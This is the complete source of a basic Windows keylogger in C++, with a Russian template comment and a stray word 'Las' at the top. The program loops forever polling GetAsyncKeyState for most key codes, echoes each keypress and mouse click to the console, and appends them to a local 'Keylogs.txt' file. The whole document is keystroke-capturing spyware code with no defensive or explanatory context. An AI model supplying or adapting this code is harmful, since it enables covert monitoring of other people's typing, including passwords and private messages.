Las
// ConsoleApplication1.cpp: определяет точку входа для консольного приложения.
//
#include "stdafx.h"
#include <iostream>
#include <stdio.h>
#include <fstream>
#include <string>
#include <windows.h>
using namespace std;
void WriteToLog (LPCSTR text) {
ofstream logfile;
logfile.open("Keylogs.txt", fstream::app);
logfile<< text;
logfile.close();
}
bool KeyIsListed (int iKey) {
switch (iKey)
{
case VK_SPACE:
cout <<" ";
WriteToLog(" ");
break;
case VK_SHIFT:
cout<<" *shift* ";
WriteToLog(" *shift* ");
break;
case VK_BACK:
cout<<"\b";
WriteToLog("\b");
break;
case VK_RBUTTON:
cout<<" *rclick* ";
WriteToLog(" *rclick* ");
break;
case VK_LBUTTON:
cout<<" *lclick* ";
WriteToLog(" *lclick* ");
break;
default: return false;
}}
int main()
{
char key;
while(TRUE){
SetConsoleCP (1251);
Sleep(10);
for(key=8;key<=190;key++) {
if(GetAsyncKeyState(key) == -32767) {
if(KeyIsListed(key) == FALSE) {
cout<< key;
ofstream logfile;
logfile.open("keylogs.txt",fstream::app);
logfile<<key;
logfile.close();
}
}
}
}
return 0;
}